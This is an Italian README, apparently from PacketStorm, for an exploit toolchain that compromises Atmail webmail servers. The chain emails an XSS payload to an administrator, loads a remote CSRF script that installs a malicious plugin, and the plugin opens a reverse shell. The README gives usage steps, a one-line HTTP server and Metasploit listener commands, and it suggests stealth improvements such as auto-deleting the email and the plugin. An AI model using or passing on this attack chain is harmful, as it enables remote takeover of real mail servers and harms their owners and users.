[PacketStorm] [WLB-2020080010]
Disclaimer: questa toolchain di exploit è stata ispirata da EDB-ID 20009.
Obiettivo
L'obiettivo di questa toolchain di exploit è sostituire EDB-ID 20009.
Vantaggi di questa toolchain rispetto all'exploit EDB-ID 20009:
- Semplice da usare
- Riusabile
- Payload generati dinamicamente
- Facilmente modificabile / hackerabile
- Codice chiaro e plugin disponibile
Svantaggi dell'exploit EDB-ID 20009:
- Non personalizzabile (payload statici hardcoded)
- Complesso da usare (bisogna sostituire molti valori hardcoded e adattare il codice all'ambiente target)
- Uso monouso (tutti i valori hardcoded)
- L'archivio tgz del plugin è incorporato come stringa (caratteri hex) quindi il codice sorgente del plugin non può essere facilmente letto o modificato
Requisiti
- (Opzionale) Metasploit Framework (
msfvenom per la generazione della reverse shell)
- tar (per generare l'archivio del plugin)
- ruby (preparazione dei payload e consegna XSS via SMTP)
- (Opzionale) Un web server per distribuire il payload XSS
- Conoscere un indirizzo email di un amministratore Atmail (solo gli amministratori possono installare un plugin)
- Interazione passiva (l'amministratore deve aprire l'email contenente il payload XSS sulla WebMail e avere una sessione valida dell'interfaccia di amministrazione attiva)
Installa i requisiti su ArchLinux:
$ sudo pacman -S metasploit tar ruby
Come funziona
- Invio di un'email all'amministratore contenente un payload XSS
- Il payload XSS carica da remoto il JavaScript CSRF
- Il CSRF installa un plugin
- Quando installato, il plugin esegue un comando di sistema: la reverse shell
File dell'exploit:
config.yml contiene la configurazione della toolchain
exploit.sh il wrapper dell'exploit che deve essere eseguito
xss_mail.rb invierà l'email contenente la XSS all'amministratore tramite il server SMTP di Atmail (senza autenticazione).
csrf_prepare.rb preparerà il payload CSRF (impostando il target e codificando l'archivio del plugin)
rce_prepare.rb preparerà la RCE (generando la reverse shell e creando l'archivio del plugin)
csrf_plugin.js il payload CSRF preparato
- la cartella
noraj/ contenente l'architettura del plugin non compressa
Utilizzo
La toolchain di exploit richiede solo 2 passaggi manuali:
- Modificare
config.yml
- Lanciare
exploit.sh
Ma prima di lanciare l'attacco, un web server deve distribuire il file JavaScript CSRF e un listener di reverse shell deve essere in attesa della connessione. Quindi l'attacco sarà più simile a:
- Modificare
config.yml
- Avviare un server HTTP che distribuirà
csrf_plugin.js
- Avviare il listener della reverse shell
- Lanciare
exploit.sh
Esempio di server HTTP in una riga:
$ ruby -run -e httpd . -p 8000
Esempio di listener per reverse shell:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run
Note
- La RCE avviene solo quando il plugin è installato; se la connessione della reverse shell si perde, rieseguire significa re-installare il plugin. Quindi l'amministratore deve solo ricaricare la propria casella di posta.
- I red teamer potrebbero migliorare l'exploit per rimuovere automaticamente l'email una volta letta e per rimuovere il plugin una volta stabilita la connessione della reverse shell: meno persistente ma più stealth.
- msfvenom (MSF 5.0) supporta solo un indirizzo IP per LHOST, non un dominio.
- Come detto in Requisiti, l'amministratore deve essere connesso sia alla Webmail che all'interfaccia di amministrazione.
- Testato con ruby 2.7.